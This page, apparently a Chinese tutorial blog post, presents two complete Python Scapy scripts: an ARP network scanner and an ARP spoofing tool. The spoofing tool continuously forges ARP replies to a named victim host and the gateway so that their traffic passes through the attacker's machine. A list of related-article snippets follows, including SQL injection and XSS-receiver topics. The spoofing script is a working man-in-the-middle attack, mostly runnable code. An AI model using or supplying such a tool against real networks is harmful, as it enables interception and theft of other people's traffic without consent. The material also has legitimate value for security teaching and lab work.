当前位置: 首页 > news >正文

Python Scapy库实现ARP扫描和ARP欺骗

 ARP扫描:检测指定IP网段中哪些主机是在线的,并获取它们的MAC地址

from scapy.all import *  
import argparse  
import threading  
import time  
import logging  # 解析CIDR格式的网段,并返回IP地址列表  
# >接受一个CIDR格式的网段作为输入(例如192.168.1.0/24)。
# >将网段解析为IP地址列表。
# >通过子网掩码长度计算IP地址范围,并生成该网段内所有可能的IP地址。
def Parse_IP(targets):  """  将CIDR格式的网段字符串转换为IP地址列表。  :param targets: CIDR格式的网段字符串,例如"192.168.1.1/24"  :return: IP地址列表  """  _split = targets.split('/')  # 按斜杠分割字符串,得到网络地址和子网掩码长度  first_ip = _split[0]  # 获取网络地址  ip_split = first_ip.split('.')  # 按点分割网络地址,得到各部分的数字  # 生成IP地址范围  ipv4 = range(int(ip_split[3]), int(ip_split[3]) + (2 ** (32 - int(_split[1]))))  # 构建IP地址列表  addr = [f"{ip_split[0]}.{ip_split[1]}.{ip_split[2]}.{p}" for p in ipv4]  return addr  # 使用ARP协议扫描指定IP地址,查找在线设备  
# >接受一个IP地址作为输入。
# >使用Scapy发送一个ARP请求到这个IP地址,并等待回复
# >如果收到ARP回复,则提取并打印出该IP地址对应的MAC地址
def ARP_Scan(address):  """  发送ARP请求到指定IP地址,并查找在线设备的MAC地址。  :param address: 要扫描的IP地址  """  try:  # 发送ARP请求并等待回复,超时时间为5秒  ret = sr1(ARP(pdst=address), timeout=5, verbose=False)  # 如果收到回复  if ret:  # 检查回复是否包含ARP层,并且操作码是否为2(表示ARP回复)  if ret.haslayer('ARP') and ret.fields['op'] == 2:  # 打印IP地址和对应的MAC地址  print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'], ret.fields['hwsrc']))  except Exception as e:  logging.error(f"An error occurred while scanning IP {address}: {e}")  exit(1)  # 程序入口 
# >argparse模块解析命令行参数
# >如果提供了扫描网段参数,则调用Parse_IP函数解析网段,获取IP地址列表
# >每个IP地址创建一个新的线程来执行ARP_Scan函数
if __name__ == "__main__":  # 设置Scapy的日志记录级别为ERROR,以减少不必要的输出  logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  # 创建命令行参数解析器  parser = argparse.ArgumentParser()  parser.add_argument("-s", "--scan", dest="scan", help="输入一个扫描网段")  # 解析命令行参数  args = parser.parse_args()  # 如果提供了扫描网段参数  if args.scan:  # 解析网段并获取IP地址列表  addr_list = Parse_IP(args.scan)  # 创建线程列表  threads = []  # 对每个IP地址启动一个新的扫描线程  for item in addr_list:  t = threading.Thread(target=ARP_Scan, args=(item,))  threads.append(t)  t.start()  # 等待所有线程完成  for item in threads:  item.join()  else:   parser.print_help()

ARP欺骗:通过伪造ARP响应来欺骗目标计算机和网关,使它们相信它们正在与对方通信,而实际上所有的通信都经过了攻击者的机器

from scapy.all import *  
import argparse  
import threading, time  
import logging  # 定义SendPayload函数,用于发送ARP欺骗的数据包  
def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP):  # 打印目标MAC地址和目标IP地址,以及发送的数据包数量  print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac, tgtIP))  # 生成并发送第一个ARP数据包,伪造网关的IP和MAC地址,欺骗目标计算机  # 使目标计算机认为网关的MAC地址是攻击者的MAC地址  sendp(  Ether(src=srcMac, dst=tgtMac) /  # 以攻击者的MAC地址作为源MAC,目标计算机的MAC地址作为目的MAC  ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2),  # ARP数据包,其中op=2表示ARP回复  iface=Interface)  # 生成并发送第二个ARP数据包,伪造目标计算机的IP和MAC地址,欺骗网关  # 使网关认为目标计算机的MAC地址是攻击者的MAC地址  sendp(  Ether(src=srcMac, dst=gateWayMac) /  # 以攻击者的MAC地址作为源MAC,网关的MAC地址作为目的MAC  ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface)  if __name__ == "__main__":  # 创建命令行参数解析器  parser = argparse.ArgumentParser()  # 接口名 parser.add_argument("-i", "--interface", dest="interface", help="输入接口名")  # 网关地址parser.add_argument("-g", "--gateway", dest="gateway", help="输入网关地址")  # 目标主机地址  parser.add_argument("-t", "--target", dest="target", help="输入被害主机地址")  # 解析命令行参数  args = parser.parse_args()  if args.gateway and args.target:  # 通过接口名称获取本机的MAC地址  srcMac = get_if_hwaddr(args.interface)  # 通过目标主机的IP地址获取其MAC地址  tgtMac = getmacbyip(args.target)  # 通过网关的IP地址获取其MAC地址  gatewayMac = getmacbyip(args.gateway)  # 持续发送ARP欺骗数据包  while True:  # 创建一个新线程来发送ARP欺骗数据包  t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target))  t.start()  t.join()   time.sleep(1)  else:  parser.print_help()

相关文章:

Python Scapy库实现ARP扫描和ARP欺骗

ARP扫描:检测指定IP网段中哪些主机是在线的,并获取它们的MAC地址 from scapy.all import * import argparse import threading import time import logging # 解析CIDR格式的网段,并返回IP地址列表 # >接受一个CIDR格式的网段…...

Fink CDC数据同步(六)数据入湖Hudi

数据入湖Hudi Apache Hudi(简称:Hudi)使得您能在hadoop兼容的存储之上存储大量数据,同时它还提供两种原语,使得除了经典的批处理之外,还可以在数据湖上进行流处理。这两种原语分别是: Update/Delete记录:H…...

线程和进程的区别及基础线程创建

1 线程和进程的区别 资源分配和调度: 进程(火车)是操作系统进行资源分配和调度的最小单位。它有自己的独立资源空间,包括内存、文件句柄等。线程(车厢)是CPU调度的最小单位。一个进程可以包含多个线程&…...

如何使用postman进行接口调试

使用Postman进行接口调试 有些时候我们写代码的时候,会发现接口有报错,提示参数错误,我们为了更好的排查错误原因,可以在Postman上进行接口调试。将url,请求方式,参数,cookie都填写到Postman中…...

Leetcode 198 打家劫舍

题意理解: 你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。 给定一个代…...

相机图像质量研究(9)常见问题总结:光学结构对成像的影响--工厂镜头组装

系列文章目录 相机图像质量研究(1)Camera成像流程介绍 相机图像质量研究(2)ISP专用平台调优介绍 相机图像质量研究(3)图像质量测试介绍 相机图像质量研究(4)常见问题总结:光学结构对成像的影响--焦距 相机图像质量研究(5)常见问题总结:光学结构对成…...

Linux内核与驱动面试经典“小”问题集锦(5)

接前一篇文章:Linux内核与驱动面试经典“小”问题集锦(4) 问题6 问:mutex_lock和mutex_lock_interruptible的区别是什么? 备注:此问题也是笔者近期参加蔚来面试时遇到的一个问题。 答: 尽管…...

基于51 单片机的交通灯系统 源码+仿真+ppt

主要内容: 1)南北方向的绿灯、东西方向的红灯同时亮40秒。 2)南北方向的绿灯灭、黄灯亮5秒,同时东西方向的红灯继续亮。 3)南北方向的黄灯灭、左转绿灯亮,持续20秒,同时东西方向的红灯继续…...

【蓝桥杯冲冲冲】[NOIP2017 提高组] 宝藏

蓝桥杯备赛 | 洛谷做题打卡day29 文章目录 蓝桥杯备赛 | 洛谷做题打卡day29[NOIP2017 提高组] 宝藏题目背景题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1样例 #2样例输入 #2样例输出 #2提示题解代码我的一些话[NOIP2017 提高组] 宝藏 题目背景 NOIP2017 D2T2 题目描…...

C#中实现串口通讯和网口通讯(使用SerialPort和Socket类)

仅作自己学习使用 1 准备部份 串口通讯需要两个调试软件commix和Virtual Serial Port Driver,分别用于监视串口和创造虚拟串口。网口通讯需要一个网口调试助手,网络上有很多资源,我在这里采用的是微软商店中的TCP/UDP网络调试助手&#xff0…...

LeetCode回溯算法的解题思路

回溯法概念 回溯法:一种通过探索所有可能的候选解来找出所有的解的算法。如果候选解被确认不是一个解(或者至少不是最后一个解),回溯算法会通过在上一步进行一些变化抛弃该解,即回溯并且再次尝试。 应用场景 回溯算…...

泰克示波器(TBS2000系列)数学运算功能使用

目录 1 数学运算菜单1.1 运算符选择1.2 信源选择1.3 数学运算结果 1 数学运算菜单 Math运算按钮,用于实现对两个通道的信号进行实时的“加、减、乘”运算,计算时信源1在前面,信源2在运算符的右边,设置时设置信源与运算符就行了。…...

数据结构与算法之美学习笔记:50 | 索引:如何在海量数据中快速查找某个数据?

目录 前言为什么需要索引?索引的需求定义构建索引常用的数据结构有哪些?总结引申 前言 本节课程思维导图: 在第 48 节中,我们讲了 MySQL 数据库索引的实现原理。MySQL 底层依赖的是 B 树这种数据结构。留言里有同学问我&#xff…...

Python(SQLite)executescript用法

SQLite 数据库模块的游标对象还包含了一个 executescript() 方法,这不是一个标准的 API 方法,这意味着在其他数据库 API 模块中可能没有这个方法。但是这个方法却很实用,它可以执行一段 SQL 脚本。 例如,如下程序使用 executescr…...

BUUCTF-Real-[ThinkPHP]IN SQL INJECTION

目录 漏洞描述 漏洞分析 漏洞复现 漏洞描述 漏洞发现时间&#xff1a; 2018-09-04 CVE 参考&#xff1a;CVE-2018-16385 最高严重级别&#xff1a;低风险 受影响的系统&#xff1a;ThinkPHP < 5.1.23 漏洞描述&#xff1a; ThinkPHP是一款快速、兼容、简单的轻量级国产P…...

python安装步骤

安装 Python 的步骤如下&#xff1a; 在 Python 官方网站&#xff08;https://www.python.org&#xff09;上下载 Python 安装程序。运行下载的安装程序。在安装程序中选择要安装的 Python 版本&#xff08;通常选择最新版本&#xff09;&#xff0c;并选择安装目录。确保勾选…...

BlueLotus 下载安装使用

说明 蓝莲花平台BlueLotus&#xff0c;是清华大学曾经的蓝莲花战队搭建的平台&#xff0c;该平台用于接收xss返回数据。 正常执行反射型xss和存储型xss&#xff1a; 反射型在执行poc时&#xff0c;会直接在页面弹出执行注入的poc代码&#xff1b;存储型则是在将poc代码注入用…...

.[hudsonL@cock.li].mkp勒索病毒数据怎么处理|数据解密恢复

导言&#xff1a; 在当今数字化时代&#xff0c;勒索病毒已成为网络安全领域的一大威胁。其中一种新近出现的勒索病毒是由[hudsonLcock.li].mkp[hendersoncock.li].mkp[myersairmail.cc].mkp制作的&#xff0c;它以其高效的加密算法和勒索方式而备受关注。本文91数据恢复将介绍…...

基于SpringBoot和PostGIS的震中影响范围可视化实践

目录 前言 一、基础数据 1、地震基础信息 2、全国行政村 二、Java后台服务设计 1、实体类设计 2、Mapper类设计 3、控制器设计 三、前端展示 1、初始化图例 2、震中位置及影响范围标记 3、行政村点查询及标记 总结 前言 地震等自然灾害目前还是依然不能进行准确的预…...

JUnit实践教程——Java的单元测试框架

前言 大家好&#xff0c;我是chowley&#xff0c;最近在学单元测试框架——JUnit&#xff0c;写个博客记录一下&#xff01; 在软件开发中&#xff0c;单元测试是确保代码质量和稳定性的重要手段之一。JUnit作为Java领域最流行的单元测试框架&#xff0c;为开发人员提供了简单…...

大三大学生挖洞收入十万背后:网安圈的“天才少年”,普通人能复制吗?

大三学生挖洞收入十万背后&#xff1a;网安圈的 “天才少年” &#xff0c;普通人能复制吗&#xff1f; SRC首期学员战绩疯传&#xff1a;大四小白45天回本6K&#xff1f;大三在读2个月挖洞收获六位数&#xff1f; 当朋友圈被"零基础挖洞暴富"的捷报疯狂刷屏时&…...

密码学实战:从古典密码到AES,手把手教你用Python实现加密算法

密码学实战&#xff1a;从古典密码到AES的Python实现之旅 密码学作为信息安全的核心支柱&#xff0c;其发展历程就像一部浓缩的科技史。从凯撒大帝用过的简单字母替换&#xff0c;到如今保护我们银行卡交易的AES算法&#xff0c;加密技术始终在与破解者进行着无声的较量。本文…...

这次终于选对了!高效论文写作全流程AI论文写作软件推荐(2026 最新)

2026年AI论文写作软件已全面升级&#xff0c;论文写作全流程可拆解为文献调研→选题/开题→大纲/初稿→文献综述→降重/去AI味→润色/格式→查重/投稿七大环节&#xff0c;以下工具按环节精准匹配&#xff0c;兼顾中文适配、降重能力、去AI痕迹、学术合规四大核心需求&#xff…...

JEECG Boot项目实战:如何优雅地移除登录验证码(前后端完整操作指南)

JEECG Boot项目实战&#xff1a;如何优雅地移除登录验证码&#xff08;前后端完整操作指南&#xff09; 在JEECG Boot的开发过程中&#xff0c;验证码功能虽然能有效防止恶意登录&#xff0c;但在某些特定场景下反而会成为效率瓶颈。想象一下这样的场景&#xff1a;开发团队正在…...

滚动轴承动力学模型代码复现及三维模型SolidWorks文件分享

滚动轴承动力学模型代码 #指定了某篇paper复现&#xff0c;具体都如图打包在文件夹了&#xff0c;保证程序可以打开。 给出轴承三维模型solidworks软件打开2019版本可以打开。打开SolidWorks轴承模型时&#xff0c;金属滚珠与保持架的精密配合让人想起小时候拆解机械闹钟的经历…...

Electron应用自动更新全解析:如何用electron-updater搭建私有更新服务器(附Vue2示例)

Electron应用私有化自动更新体系构建指南 当你的Electron应用从开发阶段进入生产环境&#xff0c;如何确保用户始终使用最新版本&#xff1f;本文将带你从零构建一套企业级私有更新体系&#xff0c;涵盖服务端部署策略、客户端配置优化以及用户体验设计三大核心模块。 1. 更新服…...

避坑指南:CentOS7部署LibreNMS常见错误及解决方案

CentOS7部署LibreNMS避坑实战&#xff1a;从SELinux到数据库权限的深度排错指南 对于网络监控系统的部署&#xff0c;LibreNMS以其开源特性和强大功能成为众多技术团队的首选。但在CentOS7环境下&#xff0c;从系统配置到服务调优的每个环节都可能成为阻碍顺利部署的暗礁。本文…...

前开发转行AI萨满:给大模型驱魔收费百万

在人工智能的狂潮中&#xff0c;一个看似荒诞的职业正在硅谷悄然兴起——AI萨满。他们不是巫师&#xff0c;而是精通软件测试的前开发者&#xff0c;用测试思维为大型语言模型“驱魔”&#xff0c;收费高达百万。本文将从软件测试的专业视角&#xff0c;揭秘这一转型背后的逻辑…...

NocoDB终极指南:零代码构建企业级可视化数据库平台

NocoDB终极指南&#xff1a;零代码构建企业级可视化数据库平台 【免费下载链接】nocodb nocodb/nocodb: 是一个基于 node.js 和 SQLite 数据库的开源 NoSQL 数据库&#xff0c;它提供了可视化的 Web 界面用于管理和操作数据库。适合用于构建简单的 NoSQL 数据库&#xff0c;特别…...

Python离线环境搭建全攻略:从虚拟机到生产服务器的完整迁移方案

Python离线环境搭建全攻略&#xff1a;从虚拟机到生产服务器的完整迁移方案 在金融、军工等对网络安全要求极高的行业&#xff0c;服务器通常运行在完全隔离的离线环境中。这种环境下&#xff0c;如何部署Python运行环境并确保所有依赖库正常工作&#xff0c;成为许多运维工程师…...